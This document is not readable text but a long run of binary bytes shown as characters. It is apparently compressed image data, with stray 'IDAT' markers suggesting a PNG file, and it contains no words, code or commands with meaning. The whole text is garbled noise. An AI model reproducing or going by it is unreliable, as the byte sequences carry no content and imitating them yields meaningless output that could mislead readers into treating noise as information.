>"]ukD6&|;h$AytHݬ_?|r~<@xSc4sQ>=90Vս䲡@m--UҬ]3''k|+ήg"c8#}z~%=l1·1o(s WԮ[ nd6Ѐޟ\-/ 9wr?2-vCkXdq90hKɦ G';b#d g+(6W\5s4Du8EOwCXt29 ^\@QC뷼&i>ݶ)4ddK^ ~E^*)AI&}HkA֝&o#߰_;Y GpGFs x᧛=/ =g>r>Mt,l)|m.wnW)`Ͼb|qj&_r-~W}1|5b-'^klm1pz_˨Y:nd|nyw8 y~~goS凾5$)s4v k@Bcp*5po@#K'}+<y/&s'̑HՊ+sZʚq5 y.yܞW±g< lz&Yk0KZiw9]6?I>\N0@{'}g[זG?fS3n+G(٠g^n&µ_,4tj|ؾ?%݇“uɀ%(;ׯyg|[fF)RHh8d:񀫛b^Hx nga ƶ-\/<ͳUOols >yOutsz"kDPb0/~ȳ\f^s"?^fQd >;yp+qZ6^=@عi/Ӊ]@{j&Ɖ_Wby&%feP 1~EEgCU:Av]^b#Iڿ2!Kt;4[J,Y$[@,Qd  alؐdtϘ+4x0GĹdZ$v\9o0 ltt <=q5v|-{Hz&5Es ?KGܔČZd\MaX:)f_På૶>gzqh_d}E(kL>~x Q7P`l&&|G[X)0hNlp֙3N#dGM7v]vu5^/{wz_';]sSȅ},Wf+u=VV0k8?vOmOkXF<||SS6#?! :4InS 4@ |pA9NQW_zZA4sߍOg'f[,ሁK`+,jEn.a.j2yi1;~ܮ #g:jweg֐ FArT>XC帼Hpxn@}x ͑!q)Ϲ$-SJOeL6-DM;](. S%G-^-ojclݦN[?7p^Xj[wEM, O։}Eï?X ?ǹyM|G~mVHbjޜ f^!/rN28>1H)Ɖ ˙5e ^Q#1c-r{Wua](}m%6Smf62~|bۦ( BMl'$t5gĐ!nRxHHⴸ{+3xh3 /47хʌ,  5FG`׶"=җM乞g]+ B'9sEd/xh1B0XOfmfOsb+?œ?RNt Г 0h4;o:)5Oߢp>l1t fc} ڎgŇq)52zPk{7aJP6pd#XHa3IvH+D]N€;q<|[bf"&31`BACZJPq\iL%ĝ#22pçşv8mqW䷨w< Zl٣vF#.l<[)\ȘC^l!Yc |u˭59)1̉-QW?ћ֝tw̉ ć仛#nX`g^ӻbM+5vck< x2N& >j@M; 譅ѓvi#n\0w%I#wk0ÑB/r4%(}I\9}KP2R`Kxi|І&oh-(Lք3vquWa[S œ0 (5Cn >0M\|Xz\r0l"HOgwMY _t8Bl2"1||44I䢧Ư$y{ Joy#%v|PŊw;̜ŊX呅E tΙ#U2ټQ]F#*WN9$>Kx]lk_DfO+E6z?ù{'"Oصc7l kKn< ʞOu7-Wo!uzTq<iC߯?Ğ8/k@P7g0DDO\#9wk zkjлWdƠȫC"P' .<Í\[bAo]0#~beî'v9]3*_E_qÓ]t GμaZ/7e,>&î5*7}-B{.32ˡCIFfhq6[w'+&\њm?7K 4*y䘂?=]3vQ 3_]X{N?~>zS<>ir1N—cE/9yw^+s0[D5,j[Ĭ ;ѱ<Ղ9nd@|Pvs*;)ZS$`(mw1 9!QcJq>C#<noDî|D^ӀҰX'~wUn\x/nS&s.L ]w03X0v~`@idsAl^^eȾnG&͗iL g*tgE<mn;5ϰw.]uW@k ,5锌DJsx.u>* <2]kmxE|6,V)Ogğdtݎ8={?X( =bA;1bÔ7穊c򻏈ҰX/v^ן5D|-ns~oOi %͝-66)xc#LZA AY 3b?փ [Kw9 jPGOW "{E`2\pdcf`s6iS sܓ-wlQ[VsD+Jv`P[q.a #AvdmƬ"ޏmEy|nvyWw9ofj6jV\S$, 3Fp:fvLq8R$xȂy72j?]ѻ·9OڅGz Rڝ-k 260jJ֮zhb^%?W 3)0wvJV+8#8Y0~dW|k8aQčPS+vp +8 QL}_?$`m;gƯ\GM |=ߘVN}[<~+ﷅ]|X,wN.2ǻ8$)6#O2AX2 baY>"eg=+|_crcڤ{`7cϿpl2cpLN9|ܪ0\ޝ]MO>Lv?'rYfăW? 0Tv|LlmFom 8,a}asرOfBbbXh=;u <,gL , 1M&X8pB|XD)! rvdn#)!dpFj{΂H~ɫp*jwaWoڼb2 0! 0|#ݚq )ͥqX針,|d(VsE|:T2׎D!.3ÏS|wwg S\~gk/24$Í$nw} w՗No{68\R>mk亶5;2yQ>#yg ; 1#v:  ޡ ڀs_/R!1{;Krxa99rږ9(|ɮ’S UVK^i^&+dH'Sa_6cˍBz.L ΏN8Sؿ{[ȟ.4C`)* ;O>[,R-97Isc]14W;3rxc/nWxlwEjIc7zhqxT]2Cƶ.(/MpU&<˜\|v>7#-Iٝ-|[s|^=jco=≬}.l]_ u~:NxW'yB t'v‹_nݪ8ՖЕ|-1Ó/>s[Ho}Ƙ8˳b 9hp$gZH7n\̀&\ o08P3Sι[ #NGuW8,22/INͻ[s"+=߱UG$vŲH% 28ZSY` H‹"iŸ_'S6й1ssW$A=lvKzjo5۔o[@ .Oz1i?6fY[p r'gxgQ=|zWl7AښsecG'VqXɰꦃ !`C ^|y7\Nc,ƨlߧ-|u>,_zw۝9:FMTH_zƵ\Q 39hG3l*31;\l(8d9IW^Gz_;Ξ`Gl'&ElG:(SUl]CBF7l<ۜ-7%Q1>_?u -g-X8[bqb)ӉrPxcbX@gbt?e"1WWX]7Gi}’ϊfw;0^Fգ4]}$(N?6&-oc?UggSPAdȻ+9Awl0sMd㖜Iؐq$f2[Ŭ6 [k!mpӓ</אJP!]COޘO_`,k*̳X< b{M;jy{"6?xnXiO1; HbALl0{>r\7$Yyݍd3[="~?췈&}>C TįM-, ط?gx_dLgkIELB?SlW’vc]VPr,qm[02˫8߮0w~]^-'p$z(0j<нugqwvIwpQ`nsⴅ,#.67QVS >g<ԟպxcHv̹Kwމ8ގxvg̙zaOKd^ݴXI?#٪2AaWkrt(l{P$f%p>BЮqӌ[ 9 `xɉ86)9oC- w[H1<_P x+(WlΉl2֞;H~0^`h9[dI'/Fs7ÛA.nr jз@!Qmv(Ez- /ő9[h.ቨӠ,%v tMy7 kxxsp(pSXY^s?!97+1?f!dPX _b'>1~R0N\F9_1l3A]ɰK> LO;rB_q|19l9W[[JՓb^*'ڷPgqKym(?Eލm]73]:k"qݢ0ƒQ}0Ud/xg-Oy4n_?[{N#w;E~'(R  Qg*R 9-13Stn,LՃM4lIɆ0$+Ș r< &ɸic~\kWmzx[nk;DC4AwI[||IyE+Nh +^V0<6O359s}c'=?-C~T=% |QP87w q61C>o.v6s33ũO}#m(ˋ ϋYcXL$nz:s移Szwٵ;v&Sn Yv_bǟf` w!ĞW65ۖ O*G8`e4tOn|ߎ|3b6Ydٸ}PQM]"l&^}v9]Ǣ~uזȃWQ<с~yBwy7`gOÇb}Q_~;_,Q9B W82] v\!t>hw|VAэG?K_*qv5aGynwၯj>̠JqHyi'[`؎7<=z$A3bpc$ ]puWuldWZe3dGg8.:`HC,+H@Q[/ڸDǟ[XpohE?$V`k2ncĶQ{[Cs)7cȲNx\$p*r62ޫ1 F&xsn ++E#<{El`&^#MY΋"C/6.}/X?M0g|N_O<~;z9mpf|n6W=ǡ;Ey,wE_$~p7_Lr};&X3<E&ŦZ=/&||~xk16+q+~Lj<Cq k{FŬ_7eMe_"JH.θ,9ږ > Yi1In͇n#cuW9yhvpW}fDtǞ(m7JNlƑw|mV4ґ8A"; .Eqtη~MECI+搽8;}۩&v$8Ǔ.(`oB/92OnL:IKA[DƟb]lR៭bZh> ࡷ$ J7y7g8vI2<ǁ@גn~n?c[fUM!Yl1z@pr`^qsXdx-q1~Uy1^x+<\ްiN^瓝=}X@ftcyX3b 11^;r2G4.2CTN?O6Ad*lWl]xEPAM<w}r'cn&wͿ;ډׇw6\x\ܑs H6I] C^QxWYI+%_2pfYQ.ᗼWa ^BTV*~vup0A[z<~2o<%Lbc@8!Rѽ;Rb> ])X7O x&:Yrۀa"@?hjP,3I `R$1[OQJ#n08'꬜6m K6H7!s 4Iy^ n.X" =߇=j@׊9v1pXa`X/^lv:y`3Qru4" 7ږ \?Cd~@^ۼ.tz= 8 {;!Ȥô97O3ǃ;w흤5,%<.1 &niG.y'srd`AkMNQ<27>ߡ?;lcށ:o0rv sdP帤l{5c@-i? : @qd %?HlipD22wǍ/@uH D:nUqxGEl,:/},ppIODW쮿~ |D6|- h?Y\R|M"j;ng׹^/ \zOEB T}J,`ǩ^-J8{GnG{[rX2bmwG9>hdoXE9ɫ#?3V4ӟkh@3tr]ʵ`e/Qb~8*A'ct C;#VU[}Qlfvt׊Y_to#kC_q'[23kNpBbl|a] ɨ^Aʹ Sul1AƂ%Cݾ81D-s>l\׎|or.cIt8-ƇVmg;ތ7"QR]o mq=366Y|nrZ_y8ޘ鎁NqBuVnb]plÁH൏~9p.h0,^sڂFHGl@ ooTyfr6pG*et1>^pA=k $a9Իpm,=2̆8 hPeW>ކgzwSk `?V{cô+,1^5h2/я炓x B. ]Uz%s|gJe2|XK\ $i~Qvz{vByd:IV|͟`^]*sn^ӊt/^q8l%['Kge-r{uzvj*-glO_hx.WV#-Cf%Z ͓E"oŚ-@=Ɖ|yj@a!N2mK=vlc0.1b\ciػx vo1Yr e0xsy- _o%=XU %SHΤHy ۑ9ioaGW$-_ }*ht#edT+_ϼIO ȧoA2N ]RLy~=Ght} 9Y۞N2*7:; ?2B|s{;$6\ .sK`{eY }Jkq i\8\Dv! ^}0ݱٕqN;gxzKv:V#ao>x5[axF|µU^qqs.LǿdHCT+rXWRsl$iW78y?GWp1|4d)1êng8"Yl\(؆ȧyևsdžN>OQbMׅD1o0#r!Seob;o@ods7S-vdOu$ ؏JSV3l&OΑ| _~1IMpCw&/9[-%;h#$|!^=lvMpa."GtT~y\O20Sٙp= ˸|#] nXꢀ ㏥+8"쉁cЏ;28?_Sù!GpO c[D3^o$}vb*0dz|+f.9/~ΜMѡnS䃣R2I: W>Nl~wʋTgCgkHb"3bٰm.rA^ *G7=6Yp!ӅÎ}[>0X߶pI]3 bΔwWܠX60v.ldh=6\LEzqd 68]2O3d)b% G3a _K>;\`m\d'lӻa#nA4,b,d; (%yWL̜R-j_fH#$X} Cq[ mJ&Yg6vr h&aH·3$Bb}|;oCN_Դ#\⼅=|I\3n@UΊJwE/s yvd0gϭ>y_bo񿅟⇣<R^5KXqTw@Ee/pWi&cvܚ 6)Rdx܍>xڼęG13-iYջHߵh>PHQ.u}8m#^K\; #|nR3&s?6:N.rv׹'El1,Vf~ :5m'x%5&ЀDM!Ed %0!tI+"&#z̩|@9].l'U1!sadd &f.{־[*KVS@IDATx6] $yg>=[]/tK;p{[,|Yeҹm8+,] 2l?*#>Ŷ(~[#3G_|;btdiEΜ-bt|h%#5Fc9.qMk/=/񶸑̤}qVs+vD\ |)~s ^ l]z xY󹾻$\ ĭ`C]>>6اl6b[[5ޣam}PtZ/Lg3b×>om?81'8+^-KwDg6k,>M XHT[c$N±8 E`490N\! ,#ʀ JEEDQ\( JG1w;Dl~v"[*7 ]$r|"bOC=^tǖqLdV*>'nȜ9jO|8Nzaqxp5; ^:;gd㰅(-ƴE'`RH*}mbaORVW#;Obh4Ep+W=3(FNJjHoLn+FyىQy+h[FME=sjXb;>7d8v`bA,8'g&*j#:\cq 1wptBtGS`ug?a!,WG |U][9؅;2w7-W)_69\{I7H B} CC"3xWCDkr<=y!Hdj3la&u޿^gc !87p|̹㹪;Zc\sى/8*A7*%܀彧ςh-lNW'mnDem<d;:/V?ƔؠzhHCd;Nsa !qw[܋;C΍EG(tؗ$vdC12兹vv.soKЗ[HCpJxuUu!I/KdW^ww[[L/>%'_ {IO䞭ai+a3^;./ ԛ@O'>)G3zÏ#DjEXMkMORC )<5, W5\7;g*".Kn5rs-X0`Ƶ]B.`jmv-h41H jr]S$zTEwO KLUM#ddߜn I3;8-bw;P'h#y|]л"uE|{ r@v7=v=xř_5iO ^;|Q ߍXT^p 'lM3u?>`ř~ŘF_+^.]o_X8 ' :-bn\F"r.G1skLOwvkmă8ϾݘNa#vx+LumcԀWVomeVo}.|[8d5,>$8}D{g9:*;|ŴyyE#6zgWsib'/DJd9E !&t8A{[zGbp<WGwF":݊T^y-8̗Hb;{G~& `!~xqcqs[rqC!mg tV!/- $+7ytYQ_ر|ɇ-y>wb%.#1ܮC&pSRI8w%ba3pK^m*Lo4Wk>XA@3OA9,ݎ:Jk_~eڇpw<mv߬b#{`GÍ Gr#cx%v"Ӽ[Y'\spKD.GuB>} Fc+mm#nasMui0עdF6r&y0  ˰+=WpcEϞ|<L@ݢ VjӌϻM_W {̅yvKڮ|9&7Z [ B-JGeu߮lmչ,s]xT(f?sn.׿S܁%{μ`1[q0L9 6MGQwbK[\g}OJqI;񚱎JJLCj_%223WCۊؠgu\y|^"b@>,m[W};ͣȀ.~8GY1c fژoׯ']YPSDI𔮒oByƩ#- mؽLՠ|2@۝ VޭK:o+8sf˞`Za;X>\J>ܐuaX$ HVpY)&yO7x ,:ȶ[x,ߎ9 rl¹w\!& ÓCP+Dřql]%T32ؼ"_qƎ͸xd׸Feŕr,g/-E+^9v\d'{._}8.xRa`l3&;=r;gqr:$6XSrAxQ|nSd|Q?+&Bh oV!Q.2MNk R/:x> ̡ O8jgmތoylPtCyɠATl<.>% sr?ߛT |zqn\uH"V?6k,bqvᩁ1M0.]U3~2Fo5_0->OvD oqq2EmsAɞ+LWwy9nZjD|\ Lxlp>LXO?> φLm d~ޑ@8rȄי6~蜯G. '*/:6?詽G10k ųsA8AWDNePǑM?-Kηg qBExŻ8oQ '݅@Da Ⳬx v\ڌ]N*)Szv9C` [l/ܻpZv/PmMM1+-f>>$cpudd =P7j_>ml=48j_lZk8YL&G}!)_Bޠ`[8;)9H%j5u0͡gi*8sblHscGGwDUoc8a/ӽbɸ>bblȮou&=x8`[Ɓ]Šgt>Pl|88[\S:Wpt*Bi3?0M|2p@ ;,b$dfvg'cbAׅ,$ !6qLvaa9.B::ElU"(_9Osy+\%x 1|\s>2Ȃ~4S]Jdehl&wK~e`f LwF;v4o<;#N2/ +^ yjܸ{;?zqfŸwc+NppwiwC@MW5 6yz/zO~ψ@&Щ/:b iۦh)^0ly///`Jl+tivԮ9mL&ױ"'M,d p'|r+pma/o6p653^.ma[TO6; s]n[3zˠHnqݔ-TK>Z fwA|Wƥ.z Rp5i3G;geWǓqW w'C7\|ąK<Ѝ%y^64ӷ"'V=2 ڦo׳y8xӱ--+.oO'3ʍ~<caMOd89l6~07Ϋ8rX=70_yhK v|\wlc?y"wO`|1GgG٤i& ,(Av>˒(_QP+W8`zסy/e+95~gm%vq.v^o1ˁ2$-&!ةu sq'gOi- 4t~}a&%w%7N< aZ3֭]Џ%y,/8 v1`yw8ɹxpT!^oQ1? '"x=8[^wLŸ%W 4OܔƁiu>˗:I+\;?:Y?悌L69*s0vd*]qb?ODjٰ5e]E&P.jse51BE$TW-dAfk&NP5=xc.VY$pE-AJ7FNz0HS, Em.6Yw ؾŰ1)b=϶񰱝qKR H;Xԡ3Ah.puvh~D;GoY_d+c1%w v7)-j~nlUvή'_ h^sW6YAr>cbl }\ I+T1%]1[)v9nWhv>LeEzsɰ\~`=8$.ֵn@t'//&c>e||R>d<'bE>} &;_ 8ssaq,vmXG=NXB`8H|~3\Ui1&J7v6`07gjt>qx좞&y~Mۻ{:b5}u!h[jT䀅LL~sN>5,cnL5~EUby ~ƛoabљBA m5P#ja! &I/I([!X{t85o@C^@-<]fg^̙N亜0XSR$!q=Q MF/x7g"l-FuObrv!}!G7x3M(\79O:$z `x6n ӜrNo/Q2n)=cwt,"6o=%,WPVL-(#~R^r4|x}J4Gl+01d˷%qGTqf.++iXrP0Y'> qVh6bxEo1l)R#p,ۘX0Nۍ7wS_;2 v֋W^^=x7z?~yU]<<36/äԁ kk5](Tv2@XY4x)9+$w'%C-҃D &RMexvuFe4&v&wY+#-!`c&%P4o)tNSd1l#v,_i/A0UO{~guV<%OӾN?DχbcquA` <%M.xi'ŘZ!:Ni*q\r0:aG_c|N*})m\ɉ# nDyLJdL]}.Nh'Q \q՗'Nu>p'Zx23~5NzD1/][N-ؾ\g6cYʻ8Y앙Zejl6pmn 3_j޿͵t|vf5H s(3vU#Hd/FmyY$G3D88DRf}u/UGl%̤d[ R0w+h2GU cwXG 8\J;[`imgl_h3,9-oIJR>| `ᇳ*Xx|vrXvq3 n~+Xϙg(_ZcQ j.MµΆ&glke;Ė1=속dx?Ra[-[$q䴲|+me<#% UpYԁR},?ɡ)ιe6;66蝛bKFy7'_xDb"|TYȊxS6 qCgPnO7?b+(B`\"/U>oq|v~/"M [ .>8m;`{/FycBݰ݋4Om E\- `%lkGε`C*.n+Fʮ襧.d" ɮ%)8>"8'9+}x F]XkA@֪go6壐/orɿX1ϡH82Ԋb? On;ă-76VZ76{)5,[Ի[dqvT2o/1b;ě8[}f~iV6|rdTXc#=Ud;nFnߎbc]y|˧]/6⽶jk eŧ??iڐrEr1~Aׁ;/~$nzw\r ϶"R|3NֆPJ)B+^#@ _g9"ji{1vMjcg{W= /9̗喇y=Vdz+ѕ鹮c@wn! %Fp/3X83{օhA\@78;% |Z؀|Vg3_4 M3}cwXsKL ?}^X%]}Eي>s+Co^yOy _6Xd^ԧ[Zbyi?ELĦ14A3ϮˇY%_Z"(-|-؛wm,ߥc1,N{7_Cwr*2Jybǿ9x/vPG}T\хGݯX>!62`83LS Ջ|17ޞLyU"O{gr1v+Ar6_{3"&>@pE4y8p7=c9Ng22_o8P(NO9%A-5XP(d3z)آ aOH GGZ ͡Ч^7I G+9Ðg #P< #} y_8tpOL#A%Zt'[0xT@9۞]%i4CPuuW#yit_1O Ͽy_/vhw^co폌+We+[2_ۏ酅?,.]2qoJ_4r K~qq1Mh;ObɣBWnد/U8r1>;B~Ǟal`-g 3nvh8.C~c`釀Z`Ϋ?E8vtRlUVWؖ4EN;[q3=nhfz|3{Vw_}]۬X Hi [Xuuv.:׶{ u^U 5|$ LBqKopq2$ j PRGɊq' I4wr΅DqGd]xr:xa^]AʋeLtŮ1L_['v4$3[{"=a˸ mښckޢi6]L?.; >}L泵œ!?Di枟pόW,l׶dAOLDbbhō`08a ̭?|iyK_-gp`'m9.=CW>z.GpEkD1EGٝ=`J̵ 9/:˻zoqEE0M">?|௎{: }0ܰ:#WEm\uk]g a"2;w1)o{8.2HXBXrnQ_~niM qlLHǁw@vxI$Z$2&Bd`oW]qFY]mBH`xn|x 1v-#YZl-bT <տDq#RF' 77;<׹Bdwۢ?/aL)8 ffs8lHP A|Kt^EXRdneHbl[ НTٳd/>w%C-qK2(';7|H_b!2wlš7E,ESYO?▘ظ` ΐZ.7m,lBZ3:sM9\9Sin|+?}"vLqk8K m4'Ӻ96F0yg6숺32`# :c`p-ȅ2|11~~I"w@~{ ^x,$3(:Zg|hi^ X E)YG#*rg-eC{b50ڸwGdIHiQi#q-ïp)P 7{ 6;jX|_]oA+?oA.0Y]8(8֧ ('޹)Dl\8뷈_݉'ɑ_ovYV/B^@b?>E"KT==2^LQpXwН(DޗDGo4.k-fr͎oΏxn 39 >ͽW|`-"b-s&v_vμ&<ꃧ؜T؆k28bWufGl_ˠXwbe^rrO)rbGƓؘec>yz_WpZ)AHC 7aM=c1 Ad_CX#1 58d\Q#'Cw_1%&vu2~hHߊ g]b; Ɯ.>v T.Q;_o%MQȭ[UJW숲:邰e,_1"丶.%2$`u Tz۵:rGrV,+$yqfMqDgBU"7[ &d*ߌs< Ac=mbb|/q۬1z`mHKznRo;,20YtȢS~~GE7Lbw5mtϯQDSb2Zd S L3+[l,^ 8m#;xt,ԋ]gGc &;189L8ɸn"՘}twx^ Go㍜W9c䣹6*pcv@g`[:8 ̗CU20ޗUȬ[#;(kA3>w1]]?t:6`v+ˋI.kGv!DKnE\䁧+*!9Vӛalc'y n|N~F z"'r. n'kHD|q lyCnz֨Ы_B5E?í,ٵD<+TN<Ň}G~,~KEа|m;3r{l]ES%Gab{ؖ˟qD?9ºxNPl8y8$w MK1loak]Wag| Yx$&q8P/ԗ/7XЍ'us3˥q< \[l. 9E|,`hdwp8R;#-/:D"'h/AVG0ɷB[d2,N"K1e2^ǞL'5%:i`+ܜ@{v^8scr9,`+ KT03\؄4us#ݜ(A a[&; f<_ [Ž4hd!+90EK&m^.!TWEX =-/:$C͙۝־-ϑ8p]LBhO3ЇG6It8ɋ 'd;ă/}?i xffblĞ r9ֿC_^α1l*&[Ww q$T .(kj䂤왅W=5Y3ڛrWw%ēKq0(%EYg۳nt"| ;<(5gsT?8']x:OpF]bv|dy \XnsG~SoNy;/筍+pޑl%Jѿf$\"C6Q`RfLTܱDI .#66Q'dقJ8Fr"ɼ'a`'c;3훧̮%M;(7`TLȟ|aN=Hw Kჩ W򗢒ael᮱{&2ۅ!ޙN[!? +cٰ"Uk0eRߤ; t8Ͽ/W2Cy_\Ћ3} osx2]431;\?Ӫ>x`\h56|JOم6{nn`ܫ'rE30"zxc YF]ư6EϷ "6| wZ8*UJS"aA;3.5(`˜֍/e-@l#xĘvQ`VK S@I"IKPkln5Ӈ.p2g ̞ݮ!`$\#W_o?B~\7:)=K]Lucyf0ouU6xӍ:&vL,@vYKceuKY|lORc?Ƣ9qY43^`+OviekG]FǸqif0?eb?q2LH'NrXWaq;U[.Vfqf&<"pfn1m %hd,_9o`^\ģd_ p+8zࣖc-q2Yvv _ӢɳmÞ]A.pNmwV3x 1@Kmwb 'mS1_r\ g`sF6B,"1ʮK>蚍ŝ=/j{ƳN5O λӾ+gL?~4h F+ !Ǵ[Q}Af0'!KxH|!얘۵n!BPpqp^n '6w|@|b> 3}VY03M~;/ H"W/dV?N%dԳ\,|Cumhxw[uxuU`I|:%\M0/F+՞>qmLNE D IɜufZxΐj'>->ONsR_~or9d6=mR+\vPvMםٙ-!.&=nb|'oQKe!r}$H_xkp:8;0iv/D#һui)BRIj'N *hrXW+dDUHЎ/' 2.|E?^VΉ+Ɓd#λ61m+Wdkw(+"#Q҇}T]2VqwFB&<;ب;N`~8(ics%?}U~;6;. }^r`2;8s'  e)mS ̣+oB1.\ eRΣ?++VGkXӇw4RpvI,ɸ̀s`(7 Dvǹgݜ'#z2&"K+Ngcm8~rn 7XzIaD.M`Rt*#]wTλ'i_33>js8][kيb;Ojmz]Y~̿E"cr 5G6<0=v)gtŖϊ\*(%gjx3M|ϖ~o8ڟwwUNnS,ejrV읷adn9-Di [f?'?Ţ] ?X #%2W,Gr=q5 LA ںDqH҇$\"(.n#1&smG+p ϫ:n8]1^Ėp9و/f@)9i}],oPUlbN%Ko15\ʨqv0 A%ҫ做f_[N֟䫚p-K},E;'d'/حg B$58 o0m0Tk>u|;Yl $\ܞ'+@#Nz?ꥰ8@!`6eEM`VvR.m5&${wvo!Pw( V~2=fuƛذGf@IDAT}>a4Ijcg_!+$LMiS<\sRd~`b7 -P27o=83ȋ"qQ펴x1[(8TClZeJ+ɯov k`{wr/SήsɨwC;~{v «͹솗}xm_sOxcoR /'7S<:F2{;E{'qGu4wW]ނ_W^8Ll<;4_F>oxM1; _uT%2%]w\Es0 kxZȖp+VΦ#<͹ )ѓkUuK[$+,2\`zDeLGF\ : c5upwX1`mBzvn}~|=9` 4s1 91B]Pd^bE1ٰ:j0fWLl?Xb. bpL9b&{r7^ӳ 3~Etwg- D AS/>2JBtt3xK ~_l1ߦF]Ug.vˏƙGqS kN |><|/r1ҝ~J'`V/ŕHA-?ݱm-n@/^b7!X -}lbn<~þiL5VqV^աmhsޜ1>g5621gVZ%&=bH ]~dw"$9*p Nq5*muݳm Ika+@>մvsCT@T9~8O۶<}mG"-`kdsx^6@ fz~'gFGVs`` l;h rح]<2p^ >m{_e g\nRb3MiPlZНz*#瀯I[KCs<ᒾX?m(TpEf_'<`%vߏ:xw͋\}g2z_6m8G'f#qv̕l<:I{{+f(y+/ e Ql.Ny~ƟiAʎc}bW4#(<ƮZ3GQ~2W_.X OA{uf||~]\rÕ«qmGW 3دXoo!ѿ:.9ȐU. tg,i}wz_AP5(c=u7bnr7dǜWpn)a#:H2iesdy +h_k@s[Uk3 gC2;ddIH>^%̮aUbʥ7 s0i0;&l|oÊGoawsRc? !s/id|HR2/]Am[23o bBnX )V6&\6ICձx;&ټP\ wzĽX@M1!gncCb|OM..+FpXűxb#[r?q)') zɺ18g+S,n2+4gda,qş=⣹y_3X9)u.nW!m#~;:ܣ *:o`9'!<K.s] <"yI DA 8A-\Ii K3z F:sp}5 h_ua 2~XnAZA[`[?9_6F6UQ%Hx  ->+}ے"2P%av*Tz9,֧?}a wRqw^uWl`C ,>ˑፏ>Hw>ta+)`'|(⌾.ys襂- p-T&^(צszptXcɴy7A}vC,l|B7#UwVIFI֙HKbى+rc8<.8b)bS-^5N2nn\΢[!"s/r#w_Lbe)Ѽ%'?܊5Jʫw5CLs<ǯ_Y5l.8l.;kޚp@Q嚌/fOżc0:v9kXhB>g")RGB.Rŕ!! qQ #Q$Cpu\ai03`YV$3z20xli,%>cK,zmпpt|kgy-0N-zlMͩ8&?ׂ_C,a-_X83NP.7|\]w0?>wwBo=Z">?92-tjx;'ژϠͻѯ ;6z#Ha#>,GvŕъW~o&gKs'rz]fl :#>F?-8}698O.ؤ}_#d=[ FzqjGK(!㋃M{s񥏭F?ǁ:NrZ{BվmFKϏ͑f1~<رŗ8s.{_ʊJ+JR\`SdGkߎsU9{I]eIgp1 :};Bv#D7a uE>j,I0WjVPkÇ?"x){_#f|%<s;8Icxt\Iq+7M^m$a3YK2O&Yx6iؘ!-ŒqǏHh,|ɧ|XLk ŌdIc.Ew!g0ܺ$E|b\+V_B;qT_V^.$xyJ" 7e3FrwdOwߍ\aa_*뛏 `/϶ujޢ(GKٳ:3q_]8W Ɔ΁w\&_ҴqTO]6VD|qDg<3'lҨ-vkPfrsG1hdd ؑi>pFqF Mz~RZJBn،X:{W`y焳av.k7μND|Za qF[Vޭu+f@oG!Q Vླ1?Ǿ -= հg5}!ٸ;6#=Zo48${;`H5N .pcUc\ٗt+a[+Apg,~Kއ'2̡c_(' vQлl_?[Y+6@~' G |c\СwV"{dL-/$ by@o.iSZԢ)|:nK~q5!Ӌ`};Sҟyt G0~f/.x?tu%m]{{<~K/b/hQŲ8҆d7S!@no[Bq@y!J# USk0DVWՌ"œ_p kй~752B6cמC)m7p"<8xKޠy޽+xkbahݕ_?w%99[ \axmm2ŖkEG}+:UyXtG*ZpߣuD6Svq'>7DW L휮k-(IVD'2aW3Fፇ-280cڪmshauA]ť3=>[9ck._һcFGxOt|q: Hm\o }2`&b`a#ɘ?-yAm!|Q5KdaWcC9s+NH d0~hvm]GWn Bg)(z㍵ZŢ_ i!=DdxISܜ+ͯscv?`I_IsMLg_͂_ hEڔk(VXczklT$y9Kg@ob%>tWsroϒjr`B!Ls]+Ӿz>\X |㶐:k嵉{T>.Map']9}0:Z|{o3NYzET_ሌm_FS?MboѱY!.ߑ_Ṿ-Ɗ%vȸ u%vxŁ bݘv{79!?E}]Wqox9w8 a„+?v;~O8&Ҵ}P_;~_npWi=^%nb=v?8܄OEsp 1~tIC{ kk-J))8/M]C&KPXYB M![TGC%.4qxW<l0_WƗ4@IGЋȥ[ 4@iG lk=~m8H2W|sgKvls/pDQ7@o.;Y5Z襀 ^z6xXO1 V C}Q2~1o)NW<ص(lb+QLC1+v-|ÙJ3vq/7"[K)qӛK𙿻 ]\M6$} [-Rfs/X,2p=|bW/oE.f;4W_rmq)v\/.Sͯ#pMx3H%&QyGb$hJnHr/7R[Sʭ$D}{/ wFw rƐӋ;&Wc?ųFB66o"DWĩȷ'082}vڳԮeC3q(X.h#omgÏ/.v“9ii-{Z0w&k Knv޼DΗ D92_{9ޜwםD"cMWo⋝ז3dµb1;ď§D^Ϙ 2bOMj\ߎ ٻ }{~~ lwqA'k큕m8lCģOƎ*_ b~/ل#Wu#ͫ%k>(]r9(+.j 9G7ݳ;d%O-zq㟳5߁4R|n%6TMF-G +*GLdJƑ:2}  R95[΅gF Dη"J&Üh9we 21==82;'>ڣ-}NsZ =Qng^Myq9 E i82/v{@X\?Ӌf薐ޮȕ?%f(_Qs]G6^~4ӱ/ȼq<<ТaˌA)g&>q܏=K>•6V~6E~;T>Nf9WI|MQNj;eeّƔ\p!016} %Z͑YNбmK~D9,,h>՝?  G`LV8}w6uExTb:E06֚+4%n%NJl`L-#-AFsbOΣ\;X1[VxlpB8KL=fl)OaCA>;矯c2.Ner.( xȀf.iv?ngn|>~_Ggtkaf7=vv>j)? nos]޷ 5yXzYt8#Yj%=lax\1)f8-H['&rh9%O`6x:Zh9Z6`t~yk\}syknrj/L GƜUJh H_x8)Yi\p}FVHE suL%t%\:W"9sLJJ# Qtr.->?- |vd2Kxxr/ش5 ܒ6ݻtuK .5Watw6HfE~IHi{vA%\u %eq  9#gEt-!IE䒛7:pZ/Pˈ|-j0̫GS--ŵ0 -P8'/x mV) >bvd(6Ve/ǂ]8_`qEVWHΗꁹ Ylb9'Jmfȇ;L]-,\\l/V| jުnllb ?m8KxmlȟSc36Cg'qsu? X ZD PCMH2 n[\U$V,._ysQ}E=ٶZ*drHrV^;o$`3/Bd<]edS<\r栳Az1^;:cG#%#,]dž|)cyzF> R_qmp4#펋uqD㒧,XG-1iyjb*zB .ʜ Hj_Nę$AǍ 68půd) YsNָ3Oһ]/d9 õ͛[vw̖Q"{׍9~VNqk-kbEkSI7b8#W,&bA9m+95ZSY98H N ͏C\p]ƈbu[mTɍ|x~МPS*3;+LI򰈐p$dn#CӺ6&Vbc-n ׳OW7Az;訓e "2ot\ȸ`C`qIaaH6:oThv)OM[LC-W5\s8[Jl]݁j{|I܎~X:~"'`+Q+ɹ1љsϫDv"qKo<삓Km] 7tCr{I]f>jS尗n6~v=[Ϙ~٢hcbF;0=;wW]ElT:݂"-T)z5ȩ7;2e|_c`w[@Ԋk6Ŝ%(`2 ʘAn <+ YrD\z uP 